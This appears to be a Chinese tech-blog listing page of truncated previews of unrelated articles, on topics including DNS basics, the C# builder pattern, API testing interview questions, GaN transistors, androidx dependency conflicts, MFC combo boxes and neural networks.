目录 仓库链接0.PSP表格1. 成品展示1.基础运算2. 清零回退3.错误提示4.历史记录拓展功能1.前端可修改的利率计算器2.科学计算器3. 按钮切换不同计算器模式4.用户在一次运算后不清零继续输入操作符&#xff0c;替换表达式为上次答案 2.设计实现过程3.代码说明4.心路历程和收获 仓…...

11-网络篇-DNS步骤

1.URL URL就是我们常说的网址 https://www.baidu.com/?from1086k https是协议 m.baidu.com是服务器域名 ?from1086k是路径 2.域名 比如https://www.baidu.com 顶级域名.com 二级域名baidu 三级域名www 3.域名解析DNS DNS就是将域名转换成IP的过程 根域名服务器&#xff1a…...

设计师都应该知道的事:极简主义家具该怎么去用

这座房子有黑暗而沉重的特征&#xff0c;包括棕色和白色的马赛克浴室瓷砖&#xff0c;弯曲的锻铁壁灯和土黄色的威尼斯石膏墙。但由于房屋与他们的风格相去甚远&#xff0c;白色&#xff0c;干净和简约&#xff0c;接下来我们就着这个方向去帮助房主进行改造。 她解释说&#x…...

设计模式02———建造者模式 c#

首先我们打开一个项目 在这个初始界面我们需要做一些准备工作 建基础通用包 创建一个Plane 重置后 缩放100倍 加一个颜色 更换天空盒&#xff08;个人喜好&#xff09; 任务&#xff1a;使用【UI】点击生成6种车零件组装不同类型车 【建造者模式】 首先资源商店下载车模型 将C…...

2023最新接口自动化测试面试题

1、get和post的区别&#xff1f; l http是上层请求协议&#xff0c;主要定义了服务端和客户端的交互规格&#xff0c;底层都是tcp/ip协议 l Get会把参数附在url之后&#xff0c;用&#xff1f;分割&#xff0c;&连接不同参数&#xff0c;Get获取资源&#xff0c;post会把…...

GaN器件的工作原理

目录 AlGaN/GaNHEMT 器件工作原理&#xff08;常开-耗尽型器件&#xff09;常关 AlGaN/GaN 功率晶体管&#xff08;增强型器件&#xff09;HD-GIT与SP-HEMT AlGaN/GaNHEMT 器件工作原理&#xff08;常开-耗尽型器件&#xff09; 来源&#xff1a;毫米波GaN基功率器件及MMIC电路…...

点云从入门到精通技术详解100篇-海量三维点云的空间索引及可视化应用(续)

目录 3.2.3 方向八叉树与八叉树的比较 3.3 多级索引结构 3.3.1 多级索引结构的构建...

androidx和v4包资源冲突解决方法

一、资源包会报如下错误&#xff1a; 错误类似 (androidx.core:core:1.10.0) 和 (com.android.support:support-compat:24.2.0) 表示资源重复&#xff0c;不知调用androidx包下面的&#xff0c;还是v4包下面的 Duplicate class android.support.v4.app.INotificationSideCha…...

【发烧期间随笔】第一次游戏开发经历的总结与反思

一、前言 这两天三阳了&#xff0c;头疼头晕恶心发烧打喷嚏流鼻涕咳嗽嗓子疼气管疼都找上门来了&#xff0c;这导致一周以来都没学什么东西&#xff0c;无意间又刷到各个游戏厂关于本人目标岗位HC骤减且要求造火箭的能力的消息&#xff0c;这两天一直是在病痛和焦虑中度过的&a…...

CCombBox组合框

1、 MFC_Combo_Box(组合框)的详细用法_mfc combo-CSDN博客 2、 常用属性设置&#xff1a; 属性 含义 data 设置内容&#xff0c;不同内容间用英文的分号“;”分隔 type 显示风格 Sort True 内容自动排序 常用接口&#xff1a; 接口 功能 CComboBox::AddString 组…...

机器学习-有监督学习-神经网络

目录 线性模型分类与回归感知机模型激活函数维度诅咒过拟合和欠拟合正则数据增强数值稳定性神经网络大家族CNNRNNGNN&#xff08;图神经网络&#xff09;GAN 线性模型 向量版本 y ⟨ w , x ⟩ b y \langle w, x \rangle b y⟨w,x⟩b 分类与回归 懂得两者区别激活函数&a…...